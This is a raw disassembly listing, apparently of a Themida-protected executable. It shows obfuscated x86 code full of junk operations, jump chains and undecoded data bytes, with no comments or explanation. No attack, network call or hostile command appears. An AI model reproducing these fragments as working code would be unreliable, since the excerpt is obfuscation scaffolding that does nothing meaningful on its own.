mov dl, 22h
push small 0A41h
jmp loc_5541C0
; ---------------------------------------------------------------------------
loc_563F24: ; CODE XREF: Themida_:0055D9F0j
shl esi, 4
add esi, 43D12A90h
not esi
and esi, 3C3966D3h
push edx
mov edx, 4F4B1B25h
shl edx, 3
jmp loc_561D00
; ---------------------------------------------------------------------------
db 51h
dd 3CE7B850h, 524848AEh, 7855DBBAh, 4E2C172h, 0E2C1DAF7h
dd 9FCA8106h, 8146AD3Fh, 9F65D7C2h, 4DEA8123h, 56C4B35h
dd 1FAA52B9h, 0B92DD029h, 5A1FAA52h, 0C158C189h, 0EC8308E1h
dd 24148904h, 22286850h, 0E9581012h, 0FFFF0F7Ah, 0B3E9D029h
dd 87FFFFC6h, 8EE92404h, 5CFFFFDCh, 50242489h, 4B8h, 24440100h
dd 34FF5804h, 24048B24h, 0E904C483h, 0FFFF890Eh
; ---------------------------------------------------------------------------
loc_563FBC: ; CODE XREF: Themida_:0055BA26j
mov ecx, [esp]
push ebp
mov ebp, esp
add ebp, 4
jmp loc_5533E5
; ---------------------------------------------------------------------------
loc_563FCD: ; CODE XREF: Themida_:00559C5Bj
pop ebp
jmp loc_5564AD
; ---------------------------------------------------------------------------
dd offset dword_5AAB68
align 4
dd 51242489h, 4B9h, 244C0100h, 48B5904h, 0FB33E924h, 815AFFFFh
dd 4C4h, 84EBE900h, 0EC83FFFFh, 241C8904h, 0FFEC4FE9h
dd 0FFFF05FFh, 5535FFFFh, 353FF827h, 43DE74E1h, 7BC4EA81h
dd 0C2010794h, 7BC4C281h, 55E90794h, 0BBFFFF8Fh, 5FBF3A15h
dd 36DB850h, 0C3213F54h, 7B12E958h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56403A: ; CODE XREF: Themida_:00562AC5j
add esi, ebx
mov ebx, [esp]
add esp, 4
xchg esi, [esp]
jmp loc_566F6E
; ---------------------------------------------------------------------------
dw 0F758h
dd 0FFEF83D7h, 0F831C731h, 0E883C731h, 0BA5297FFh, 1AF42CE4h
dd 0FF7579E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_564065: ; CODE XREF: Themida_:0055F884j
sub ebx, 63BC5193h
pop edi
push esi
push edx
jmp loc_55C081
; ---------------------------------------------------------------------------
db 89h
dd 0D6295DEAh, 0FF4D3BE9h, 5A5452FFh, 4BE56h, 0F2010000h
dd 0FFC2E8E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56408D: ; CODE XREF: Themida_:00557CA6j
xor ebp, 0EE02F757h
add ebx, 597E3EB0h
jmp loc_556B41
; ---------------------------------------------------------------------------
loc_56409E: ; CODE XREF: Themida_:005533D5j
mov edi, ebx
pop ebx
add esi, edi
jmp loc_56014C
; ---------------------------------------------------------------------------
dd 2434FF5Fh, 8B2434FFh, 0CAE9242Ch, 1FFFF22h, 0F495E9DDh
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_5640BE: ; CODE XREF: Themida_:00555D01j
xor ebp, 4E576D00h
push ebx
jmp loc_55F04B
; ---------------------------------------------------------------------------
dw 0FDBDh
dd 4D42363Fh, 0FF1970E9h, 2C895CFFh, 2DBF5724h, 0C1340D35h
dd 814F06E7h, 0EF56D8F7h, 8BFD8903h, 0C483243Ch, 81DDF704h
dd 4F7451F5h, 0D7F5811Dh, 81F308FAh, 567E20C5h, 4EC8121h
dd 89000000h, 0A5BE2434h, 0E9012362h, 23F8h
; ---------------------------------------------------------------------------
loc_564118: ; CODE XREF: Themida_:0055E628j
sub esi, 53BA5C94h
add esi, 3307249Fh
add esi, edi
sub esi, 3307249Fh
add esi, 53BA5C94h
mov edi, [esp]
add esp, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
or edx, eax
jmp loc_55534E
; ---------------------------------------------------------------------------
db 0F7h
dd 6E60E9DFh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_564152: ; CODE XREF: Themida_:005651D1j
dec eax
sub eax, 34DC7A73h
shl eax, 1
add eax, 9AD0DCC6h
add ebp, eax
pop eax
mov ecx, [esp]
jmp loc_55382D
; ---------------------------------------------------------------------------
loc_56416A: ; CODE XREF: Themida_:005651F3j
pop esp
loc_56416B: ; CODE XREF: Themida_:0055834Bj
; Themida_:0055E10Ej
push eax
push ebp
push 7887368Fh
pop ebp
push edx
mov edx, 46EC5E81h
xor edx, 74B73773h
sub ebp, edx
jmp loc_55758E
; ---------------------------------------------------------------------------
loc_564186: ; CODE XREF: Themida_:005615AFj
push dword ptr [esp]
mov esi, [esp]
add esp, 4
add esp, 4
push ebp
jmp loc_5630A9
; ---------------------------------------------------------------------------
db 89h
dd 0BD55240Ch, 6E6B3015h, 21E5814Dh, 811A9636h, 0E34678F5h
dd 0E9D5F76Ah, 0FFFFBB57h, 2BB535Ch, 1000000h, 2434FFDFh
dd 3232E95Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5641CA: ; CODE XREF: Themida_:0055EA0Fj
or ebx, edx
pop edx
and ebx, 7CFE7B1Ah
xor ebx, 367530AAh
shr ebx, 4
add ebx, 0FD584F7Ah
sub eax, 2A545529h
jmp loc_553A93
; ---------------------------------------------------------------------------
loc_5641EC: ; CODE XREF: Themida_:00555EF0j
push eax
mov al, dl
mov ch, al
pop eax
pop edx
mov bl, ch
mov ecx, [esp]
add esp, 4
push ecx
push edx
mov dh, bl
mov ch, dh
pop edx
jmp loc_556EED
; ---------------------------------------------------------------------------
dw 8966h
dd 50662414h, 9684E99Ch, 0C8BFFFFh, 190FE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56421E: ; CODE XREF: Themida_:00563CD1j
pop ecx
add esp, 4
push eax
push dword ptr [esp+4]
mov eax, [esp]
jmp loc_562FE5
; ---------------------------------------------------------------------------
dw 8368h
dd 89000064h, 0BE562404h, 381E7AFFh, 0FC66EE81h, 0F089C2CBh
dd 0BBC355Eh, 0C129385Bh, 26BE5658h, 1101976h, 685F5EF1h
dd 21CBh, 0B8240489h, 0C74FEFEEh, 6858C129h, 760Fh, 0FF34D7E9h
dd 243C8BFFh, 8667E955h, 0C481FFFFh, 4, 0FF75FEE9h, 58C301FFh
dd 4C381h, 1C870000h, 24248B24h, 4EC81h, 34890000h, 5BA8BE24h
dd 0E6C134F9h, 24CE8108h, 81134119h, 4E5C02EEh, 5EF131A7h
dd 82C68h, 240C8900h, 0D5242C81h, 8B45521Bh, 0C483241Ch
dd 0D5C38104h, 8B45521Bh, 5457240Ch, 4C7815Fh, 81000000h
dd 4C7h, 243C8700h, 5624248Bh, 0DA1D0568h, 31B7E976h, 1EB00000h
dd 2858C388h, 2C5B66D8h, 241C8B91h, 2A7EE9h
db 0
; ---------------------------------------------------------------------------
loc_564309: ; CODE XREF: Themida_:005668BBj
push 42B8h
mov [esp], ecx
mov ch, bh
mov dl, ch
pop ecx
jmp loc_564403
; ---------------------------------------------------------------------------
loc_56431B: ; CODE XREF: Themida_:0055514Aj
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_5571DA
; ---------------------------------------------------------------------------
db 0BDh
dd 0E8431BDh, 8431BFBFh, 0E9EF310Eh, 0FFFFA05Ah
; ---------------------------------------------------------------------------
loc_564340: ; CODE XREF: Themida_:005558CAj
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
jmp loc_55EB79
; ---------------------------------------------------------------------------
db 56h
dd 0FFD165E9h, 240487FFh, 2E9C15Ch, 0FF29FAE9h, 241489FFh
dd 0FF7B9FE9h, 0BB5342FFh, 0CCAE8661h, 0FEFAF1E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_564375: ; CODE XREF: Themida_:00553D3Bj
add esp, 4
push ebx
mov ebx, 5D151AC0h
push eax
mov eax, 0E2B50E48h
sub ebx, eax
mov eax, [esp]
add esp, 4
jmp loc_56511C
; ---------------------------------------------------------------------------
db 53h
dd 4524CF68h, 5A4AE902h, 489FFFFh, 24048B24h, 0FEFB58E9h
dd 243489FFh, 20F8BA52h, 8E680EBBh, 5E342862h, 0C681D6F7h
dd 4C9FEBBDh, 0F75AD629h, 0D2A9E9D6h, 0BE56FFFFh, 4971776Bh
dd 0C247401h, 0E95F5F5Eh, 0FFFFE65Ch
; ---------------------------------------------------------------------------
loc_5643E0: ; CODE XREF: Themida_:005567C8j
push eax
push ebx
sub dword ptr [esp], 2D87D0Bh
pop eax
add eax, 2D87D0Bh
mov ebp, eax
jmp loc_55A974
; ---------------------------------------------------------------------------
loc_5643F6: ; CODE XREF: Themida_:00565AC2j
mov ecx, esp
add ecx, 4
jmp loc_55F7E2
; ---------------------------------------------------------------------------
loc_564403: ; CODE XREF: Themida_:00564316j
pop bx
jmp loc_567537
; ---------------------------------------------------------------------------
dw 0DF89h
dd 8B5FFA89h, 8956241Ch, 4C681E6h, 81000000h, 4C6h, 13E95600h
db 5Bh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_564427: ; CODE XREF: Themida_:0055D06Aj
xor [esp+4], edx
pop edx
pop edi
sub esp, 4
mov [esp], ecx
jmp loc_55B60B
; ---------------------------------------------------------------------------
dd 0B60F6664h, 4EC8102h, 89000000h, 6FE9243Ch, 8BFFFFB0h
dd 0C4832404h, 0C432504h, 0E953749Dh, 0FFFF732Eh
; ---------------------------------------------------------------------------
loc_56445C: ; CODE XREF: Themida_:0055AFCFj
mov esp, [esp]
idiv cl
movzx cx, ah
push small 7E3Dh
mov [esp], cx
movzx cx, al
push cx
pushf
jmp loc_558C5B
; ---------------------------------------------------------------------------
db 51h, 68h, 9Ah
dd 0E93E750Eh, 0FFFEF89Ah, 0DF1CE9ACh, 5157FFFFh, 0FF7E71E9h
dd 0E68956FFh, 0FFDA09E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_564499: ; CODE XREF: Themida_:00559290j
sub eax, ebx
pop ebx
xchg eax, [esp]
pop esp
mov [esp], ebp
push edx
pop ebp
push esi
mov esi, ebp
mov eax, esi
pop esi
pop ebp
push dword ptr [esp]
pop edx
add esp, 4
push 3B0h
mov [esp], esi
mov esi, 7A0A07E2h
xor esi, 273E2124h
push edi
push eax
push 69342089h
pop eax
inc eax
add eax, 0B7994E27h
jmp loc_56034B
; ---------------------------------------------------------------------------
dd 54B5E95Ah
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5644E2: ; CODE XREF: Themida_:005622A5j
pop esp
push dword ptr [esp]
pop ecx
add esp, 4
add [esp+4], edx
jmp loc_553657
; ---------------------------------------------------------------------------
db 81h
dd 0F450AEBh, 7B1AE950h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5644FE: ; CODE XREF: Themida_:00556854j
push ebp
pop ecx
mov eax, ecx
pop ecx
push dword ptr [esp]
pop ebp
sub esp, 4
mov [esp], eax
jmp loc_56129D
; ---------------------------------------------------------------------------
loc_564512: ; CODE XREF: Themida_:0055391Cj
mov edi, [esp]
add esp, 4
jmp loc_559684
; ---------------------------------------------------------------------------
dd 4C481h, 0BB530000h, 2, 0B5AB951h, 79E9097Bh, 58FFFF2Ah
dd 815B5453h, 4C3h, 4C38300h, 5C241C87h, 0FFE084E9h, 0D830ACFFh
dd 0FFBD61E9h, 0D6F75EFFh, 0EE83DEF7h, 1C683FFh, 0FF11B3E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_564565: ; CODE XREF: Themida_:00562DFAj
add bl, 0E4h
jmp loc_556096
; ---------------------------------------------------------------------------
db 81h, 0E5h, 9Bh
dd 0C15A860Ah, 0EC8103EDh, 4, 0E9240C89h, 0FFFFD94Dh, 3E4AE5BEh
dd 1F7BE976h, 0C181FFFFh, 4, 0E9240C87h, 0FFFFA59Fh
; ---------------------------------------------------------------------------
loc_56459C: ; CODE XREF: Themida_:0056098Fj
push ecx
mov ecx, esp
add ecx, 4
push eax
mov eax, 6E314E24h
jmp loc_5647D7
; ---------------------------------------------------------------------------
dd 1B5860BBh, 0FFD8313Eh, 575B2434h, 0C781E789h, 4, 0E904C783h
dd 0FFFF7F46h, 33243C31h, 895C243Ch, 0D1682414h, 5400001Ah
dd 8124048Fh, 42404h, 555A0000h, 468h, 0EA015D00h, 4C2835Dh
dd 0FF4813E9h, 1B850FFh, 2533C608h, 58857252h, 651E5A35h
dd 0F4212D13h, 0C7219493h, 0A6BB5358h, 0E9280F22h, 0FFFF6E2Fh
dd 42474FFh, 0E92434FFh, 0FFFEEE7Ah
; ---------------------------------------------------------------------------
loc_564628: ; CODE XREF: Themida_:00560645j
push 3FEFh
mov [esp], edx
push ebx
push ecx
pop ebx
push esi
mov esi, ebx
mov edx, esi
pop esi
pop ebx
push 5D33h
jmp loc_553B8A
; ---------------------------------------------------------------------------
dd 891AF9BFh, 0E9C73158h, 0FFFFF9FAh, 5C241C33h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
push ebx
jmp loc_5539F7
; ---------------------------------------------------------------------------
loc_564663: ; CODE XREF: Themida_:00561234j
push 512Eh
jmp loc_5611E0
; ---------------------------------------------------------------------------
loc_56466D: ; CODE XREF: Themida_:00561B17j
xor [esp], ebx
jmp loc_566942
; ---------------------------------------------------------------------------
loc_564675: ; CODE XREF: Themida_:0055B9AFj
not dword ptr [esp]
jmp loc_559374
; ---------------------------------------------------------------------------
db 89h, 14h, 24h
aM_1 db 'º=Œ#',0
db 0E9h, 8Dh, 7Ah
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56468A: ; CODE XREF: Themida_:005618B7j
mov ebp, 4
jmp loc_55BD95
; ---------------------------------------------------------------------------
dd 4EC81h, 34890000h, 4E12BE24h, 4FE941CBh, 0B4FFFF19h
dd 66E52852h, 0E8885058h, 13E9C788h
db 3Fh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5646B7: ; CODE XREF: Themida_:00562A37j
xor edx, 0D4E0ECh
add esi, 2C5D6F3Fh
jmp loc_5591AC
; ---------------------------------------------------------------------------
dd 1772EA81h, 0EA817BE5h, 620A2130h, 0BF57C201h, 4E735B43h
dd 0FF84D3E9h, 5EF209FFh, 5607EAC1h, 13C5BF57h, 0EF81795Fh
dd 123218F2h, 0FF2247E9h, 0EC8158FFh, 4, 0BA241489h, 40C2508Dh
dd 6FA68h, 243C8900h, 3D43BD55h, 88E9483Ah
db 50h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56471B: ; CODE XREF: Themida_:0055D7C3j
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_5565E0
; ---------------------------------------------------------------------------
loc_564727: ; CODE XREF: Themida_:005630C2j
push ecx
jmp loc_566680
; ---------------------------------------------------------------------------
loc_56472D: ; CODE XREF: Themida_:0055375Ej
add ebx, 2
xchg ebx, [esp]
mov esp, [esp]
add bl, 64h
push edx
mov dh, 0C9h
jmp loc_55825B
; ---------------------------------------------------------------------------
db 0BDh, 0BAh, 45h
dd 0E5C17A65h, 0B4F58107h, 455EBB3Ch, 0FFE2D2E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_564755: ; CODE XREF: Themida_:0055487Aj
pop esp
mov [esp], eax
jmp loc_561BFB
; ---------------------------------------------------------------------------
loc_56475E: ; CODE XREF: Themida_:005648AEj
mov edi, [esp]
add esp, 4
push edi
xchg esi, [esp]
not esi
xchg esi, [esp]
jmp loc_5633FD
; ---------------------------------------------------------------------------
db 83h, 0C3h, 4
dd 6EAF68h, 241C8900h, 0FF69AAE9h, 243C87FFh, 0FF2D60E9h
dd 5B41BFFFh, 0F78175DBh, 18186CE9h, 603BBE56h, 0F2E95870h
dd 83000016h, 0CE904C4h
db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5647AB: ; CODE XREF: Themida_:0055ED45j
mov edi, 2
add ebp, edi
jmp loc_55DF4E
; ---------------------------------------------------------------------------
loc_5647B7: ; CODE XREF: Themida_:0055326Dj
push 193Eh
jmp loc_55FDB7
; ---------------------------------------------------------------------------
loc_5647C1: ; CODE XREF: Themida_:0055476Cj
push 61B3h
jmp loc_5583EA
; ---------------------------------------------------------------------------
loc_5647CB: ; CODE XREF: Themida_:00567D14j
push edi
push 5D202E78h
pop edi
jmp loc_561468
; ---------------------------------------------------------------------------
loc_5647D7: ; CODE XREF: Themida_:005645ABj
add eax, 32BA1C34h
sub eax, 6F72568Dh
neg eax
jmp loc_55B6FB
; ---------------------------------------------------------------------------
dd 0B0240489h, 80F2B65Bh, 0F6804DCEh, 0E9C6FE2Eh, 0FFFF46EEh
dd 240C8B66h, 0FEEECAE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_564805: ; CODE XREF: Themida_:0055D9E2j
push ebp
mov ebp, esp
jmp loc_554260
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
aXhS db 'Xh;S',0
align 2
dw 1489h
dd 0E9E28924h, 1F48h, 2414F753h, 0FFD830E9h, 243489FFh
dd 0C681E689h, 4, 25E95153h, 0FFFEFDh, 0D12858E2h, 0E9CB005Ah
dd 0FFFF292Ch, 612AC581h, 0E95521ACh, 2F6Ah, 4C6815Ch
dd 0E9000000h, 0FFFF5BBCh
; ---------------------------------------------------------------------------
loc_564860: ; CODE XREF: Themida_:00561647j
add esi, 4
push edx
mov edx, 2CDA305Ah
push ebx
mov ebx, 7D8600D5h
sub ebx, 4620E959h
jmp loc_55EBF7
; ---------------------------------------------------------------------------
loc_56487D: ; CODE XREF: Themida_:00564F21j
xor edx, ebx
jmp loc_557B9F
; ---------------------------------------------------------------------------
loc_564884: ; CODE XREF: Themida_:0055CF10j
neg esi
sub esi, 21BE7C2Ah
jmp loc_55B568
; ---------------------------------------------------------------------------
db 81h, 0C1h, 4
dd 81000000h, 4C1h, 240C8700h, 26E6E9h
db 0
; ---------------------------------------------------------------------------
loc_5648A5: ; CODE XREF: Themida_:0055678Bj
sub edx, ebp
pop ebp
jmp loc_559A77
; ---------------------------------------------------------------------------
loc_5648AD: ; CODE XREF: Themida_:00564D25j
pop esp
jmp loc_56475E
; ---------------------------------------------------------------------------
db 0B9h
dd 5B311D8Bh, 8FBE5653h, 895B311Dh, 24348BF3h, 4C481h
dd 0DF890000h, 8425E95Bh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5648D2: ; CODE XREF: Themida_:005531C3j
xchg edi, esi
jmp loc_55FFD5
; ---------------------------------------------------------------------------
loc_5648D9: ; CODE XREF: Themida_:005657EEj
sub ebx, 104C75EDh
add edi, 105E00B4h
add edi, ebx
sub edi, 105E00B4h
pop ebx
add esi, edi
pop edi
sub esi, 0A25445BEh
add edi, esi
pop esi
add edi, 4
xchg edi, [esp]
mov esp, [esp]
idiv ecx
push 14A2h
mov [esp], edx
push eax
pushf
jmp loc_552C38
; ---------------------------------------------------------------------------
loc_564917: ; CODE XREF: Themida_:0055843Dj
mov [esp], ebp
push 5D78693Ah
pop ebp
jmp loc_5552ED
; ---------------------------------------------------------------------------
db 81h, 0C4h, 2
dd 28000000h, 240C8BC8h, 404C483h, 2CD800AAh, 837204AAh
dd 896602ECh, 7FE9240Ch, 58FFFF1Ch, 6859CB88h, 4C81h, 0B5240C89h
dd 0B7536679h, 66F82899h, 0C2C5Bh, 40C04E8h, 2434FF99h
dd 81240C8Bh, 4C4h, 0EACCE900h, 32FFFFFEh, 0FEE2BBE9h
dd 84C381FFh, 8114650Ch, 960CF6EBh, 81EB015Eh, 960CF6C3h
dd 84BD555Eh, 2914650Ch, 2C8B5DEBh, 6509E924h, 0CE81FFFFh
dd 2D36268Ah, 0DD6E9h
db 0
; ---------------------------------------------------------------------------
loc_5649AD: ; CODE XREF: Themida_:00554777j
push dword ptr [esp]
pop ebx
push esi
jmp loc_558058
; ---------------------------------------------------------------------------
loc_5649B7: ; CODE XREF: Themida_:0055BD73j
pop edi
push edx
mov edx, 4
jmp loc_553F6A
; ---------------------------------------------------------------------------
db 66h
dd 0E9240C8Bh, 0FFFEE812h, 9509E959h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5649D2: ; CODE XREF: Themida_:005611ECj
not cl
add cl, 0F4h
dec cl
push eax
mov ah, 0DBh
add cl, ah
pop eax
xor cl, 0ADh
mov bl, cl
jmp loc_553AC9
; ---------------------------------------------------------------------------
db 50h, 0B8h, 4
dd 1000000h, 25EBE9C6h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5649F6: ; CODE XREF: Themida_:005654A4j
mov edi, [esp]
add esp, 4
jmp loc_561EBA
; ---------------------------------------------------------------------------
loc_564A01: ; CODE XREF: Themida_:00558EE5j
mov eax, 403643ECh
add esi, eax
pop eax
jmp loc_55E497
; ---------------------------------------------------------------------------
loc_564A0E: ; CODE XREF: Themida_:00559627j
pop ecx
push 1CC2h
mov [esp], ebx
jmp loc_55E94E
; ---------------------------------------------------------------------------
dd 88E901B5h, 83FFFF5Ah, 0C78304C4h, 243C3302h, 33243C31h
dd 0E95C243Ch, 0FFFF3B9Bh, 7406F368h, 0E828E914h, 6857FFFFh
dd 6E4A5A41h, 0FFBBA4E9h, 0A9C381FFh, 312F4270h, 0D1095BDAh
dd 0A3F1815Ah, 816EDF4Fh, 0EE4AA6C2h, 81CA015Ch, 0EE4AA6EAh
dd 240C8B5Ch, 4C481h, 0C2810000h, 2, 31241433h, 0CAE92414h
dd 81FFFFC1h, 105B14C7h, 4BEF812Eh, 0E96AEC1Bh, 0FFFFBA6Bh
dd 24048B66h, 3556856h, 24890000h, 24048124h, 4, 0E92434FFh
dd 0FFFF6FF0h, 0D0D2E948h, 335BFFFFh, 2C31242Ch, 77F8E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_564AC6: ; CODE XREF: Themida_:00560FC8j
mov ecx, esp
add ecx, 4
push edx
jmp loc_56528A
; ---------------------------------------------------------------------------
loc_564AD4: ; CODE XREF: Themida_:00553933j
mov ebx, edi
pop edi
push edx
mov edx, 2EDF570Ch
and ebx, edx
jmp loc_556577
; ---------------------------------------------------------------------------
loc_564AE4: ; CODE XREF: Themida_:005556EAj
push ebp
pop ecx
mov ebp, [esp]
add esp, 4
sub [edi+24h], ecx
jmp loc_555BE6
; ---------------------------------------------------------------------------
dd 0EB81DBF7h, 21165AB8h, 1C8BD831h, 4C48124h, 1000000h
dd 0C304E9C1h, 505FFFFFh, 4F5E68B8h, 0EE73E95Bh, 0E2C1FFFFh
dd 58CA8104h, 0E93F9C2Ch, 0FFFF9F76h
; ---------------------------------------------------------------------------
loc_564B28: ; CODE XREF: Themida_:00560D6Aj
push ebx
mov ebx, 2
mov edi, ebx
pop ebx
add ecx, 22513978h
add ecx, 51274CA1h
sub ecx, 2C5B6980h
sub ecx, edi
add ecx, 2C5B6980h
sub ecx, 51274CA1h
sub ecx, 22513978h
push dword ptr [esp]
pop edi
push edi
mov edi, esp
jmp loc_56575B
; ---------------------------------------------------------------------------
loc_564B63: ; CODE XREF: Themida_:005613B4j
mov edi, 2A52B1Fh
shl edi, 5
neg edi
jmp loc_55961B
; ---------------------------------------------------------------------------
loc_564B72: ; CODE XREF: Themida_:0055DD33j
mov al, dl
jmp loc_553BB5
; ---------------------------------------------------------------------------
db 0BFh, 6Eh, 68h
dd 33BE5440h, 1F9CFD8h, 0E9525FFEh, 0FFFFB853h, 0CB0F150Dh
dd 73BD5534h, 1F8899Dh, 0C3815DE8h, 30984477h, 0EB81C329h
dd 30984477h, 240C8B58h, 5504C483h, 4BDh, 5DEB2900h, 0E9241C33h
dd 0FFFF5F70h, 1E61C681h, 555A334Dh, 0B4EE9h
db 0
; ---------------------------------------------------------------------------
loc_564BCD: ; CODE XREF: Themida_:00557E52j
mov esi, 5BC0607Ch
xor esi, 0EEDA92B8h
xor ecx, esi
pop esi
push 6AB2h
mov [esp], edi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop edi
jmp loc_5587DC
; ---------------------------------------------------------------------------
dw 489h
dd 4B824h, 0ECE90000h, 66FFFF53h, 1EB96651h, 0CA01669Fh
dd 57665966h, 0CD4BF66h, 66F82966h, 0DE2D665Fh, 692D660Fh
dd 0D0016675h, 75690566h, 0FDE0566h, 0CD40566h, 0FFCF71E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_564C35: ; CODE XREF: Themida_:00555ECBj
mov edi, [esp]
add esp, 4
and edi, 29DE6A2Eh
xor edi, 28221CA9h
add ecx, edi
pop edi
jmp loc_567166
; ---------------------------------------------------------------------------
loc_564C52: ; CODE XREF: Themida_:0056668Bj
xchg ecx, [esp]
pop esp
mov [esp], ecx
push eax
mov eax, 474D1D07h
jmp loc_56115D
; ---------------------------------------------------------------------------
dd 0B50AB4B8h, 0F9D6E95Ah, 0BD55FFFFh, 27450756h, 2C8BEB01h
dd 4C48324h, 0C15BDA89h, 0E2C108EAh, 0C24CE908h, 0E8C1FFFFh
dd 0BF575003h, 1, 0FEFAE3E9h, 24048BFFh, 6804C483h, 77A9h
dd 0B9240C89h, 49FB0519h, 0D4E98141h, 81586742h, 513498F1h
dd 81D1F70Dh, 0FCE2E9E9h, 0DC63E9B7h, 0C381FFFFh, 0D1808B5h
dd 13EE958h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_564CD2: ; CODE XREF: Themida_:0055F0F5j
mov edx, esi
mov esi, [esp]
add esp, 4
shr edx, 8
shl edx, 7
and edx, 41807AB6h
shr edx, 1
jmp loc_568189
; ---------------------------------------------------------------------------
dd 4E981h, 7E90000h
db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_564CFB: ; CODE XREF: Themida_:0056214Cj
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
push edx
push esp
jmp loc_5611CB
; ---------------------------------------------------------------------------
loc_564D0B: ; CODE XREF: Themida_:0055FC7Dj
mov esp, [esp]
shl byte ptr [esp], cl
pushf
jmp loc_552C38
; ---------------------------------------------------------------------------
loc_564D17: ; CODE XREF: Themida_:0055C7F8j
add edi, ebx
mov ebx, [esp]
add esp, 4
xchg edi, [esp]
jmp loc_5648AD
; ---------------------------------------------------------------------------
dw 0C483h
dd 8BD02104h, 0AE682414h, 0E900002Bh, 0FFFF7690h, 26E9E688h
dd 81FFFEE6h, 58457BC6h, 0B0CE815Eh, 0E92C456Bh, 0FFFF71D5h
dd 5C243C87h, 0E9242C89h, 1205h, 0F646EE80h, 3E6C0D6h
dd 0C680C6FEh, 5AF00063h, 0A7E9FF04h, 8BFFFF74h, 65E9241Ch
dd 5CFFFFAFh, 0FFAA3AE9h, 561868FFh, 6E90000h, 31FFFFCDh
dd 0BB24E9D7h, 77FFFFFFh, 58669D1Ch, 24041966h, 0DE92E99Ch
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_564DA6: ; CODE XREF: Themida_:0055B536j
sub edi, 62435138h
add edi, eax
add edi, 62435138h
push 4F0Ch
mov [esp], esi
mov esi, 16BD37C4h
jmp loc_5617C1
; ---------------------------------------------------------------------------
dw 1487h
dd 1619E924h, 0E95EFFFFh, 0FFFF182Dh, 767FC5BFh, 1A0CE96Dh
dd 4B80000h, 81000000h, 172651C1h, 81C10158h, 172651E9h
dd 90E95858h, 8B00000Bh, 0C4832434h, 0E8016604h, 9028E952h
dd 48FFFFFh, 24248B24h, 0FFF591E9h, 1C77FFFFh, 0D259669Dh
dd 0E99C2414h, 0FFFEDE18h
; ---------------------------------------------------------------------------
loc_564E20: ; CODE XREF: Themida_:0055FED9j
push eax
mov eax, 28F905DBh
dec eax
jmp loc_556859
; ---------------------------------------------------------------------------
dd 1C8BDF29h, 4C48124h, 5000000h, 4BDD4AB6h, 0B62DF801h
dd 8B4BDD4Ah, 0C483243Ch, 2434FF04h, 0FF3483E9h, 242C33FFh
dd 0FF381CE9h, 46B568FFh, 24890000h, 20C36824h, 2C890000h
dd 4BD24h, 75E90000h, 87FFFF96h, 248B241Ch, 8BF03124h
dd 0C4812434h, 4, 4EC81h, 1C890000h, 1047E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_564E92: ; CODE XREF: Themida_:005576C6j
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
jmp loc_55D7B7
; ---------------------------------------------------------------------------
loc_564EA6: ; CODE XREF: Themida_:0055D23Aj
dec ebx
sub ebx, 162502D5h
dec ebx
not ebx
xor ebx, 95AFB4D2h
jmp loc_554DC3
; ---------------------------------------------------------------------------
db 21h
dd 0C68359CEh, 5BB5301h, 29054000h, 0EB815BDEh, 40EB36F5h
dd 6ECAEB81h, 0F1E97291h, 4DFFFF62h, 56A9BE56h, 0EE811727h
dd 64703405h, 0EB67EE81h, 68E99AA7h
db 0F8h, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_564EF3: ; CODE XREF: Themida_:00557EB4j
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_5675EA
; ---------------------------------------------------------------------------
db 8Bh
dd 0C483242Ch, 8BD02904h, 0C4832414h, 2F29E904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_564F12: ; CODE XREF: Themida_:00561428j
sub edx, eax
pop eax
xchg edx, [esp]
pop esp
mov [esp], ebx
mov ebx, 4DB85B97h
jmp loc_56487D
; ---------------------------------------------------------------------------
dw 0D029h
dd 0FF2905E9h, 2434FFFFh, 26FDE9h, 48B6600h, 4EC8124h
dd 89000000h, 0E0892404h, 405h, 48D46800h, 34890000h, 0E9555324h
dd 0FFFF4543h
; ---------------------------------------------------------------------------
loc_564F58: ; CODE XREF: Themida_:0055E6A9j
sub ebx, 470B2750h
push edi
mov edi, 4E9F2A9Fh
jmp loc_55B658
; ---------------------------------------------------------------------------
loc_564F69: ; CODE XREF: Themida_:0055EA99j
mov [esp], eax
mov eax, 20AC207Ah
jmp loc_55B64F
; ---------------------------------------------------------------------------
loc_564F76: ; CODE XREF: Themida_:00555565j
pop ebx
jmp loc_555033
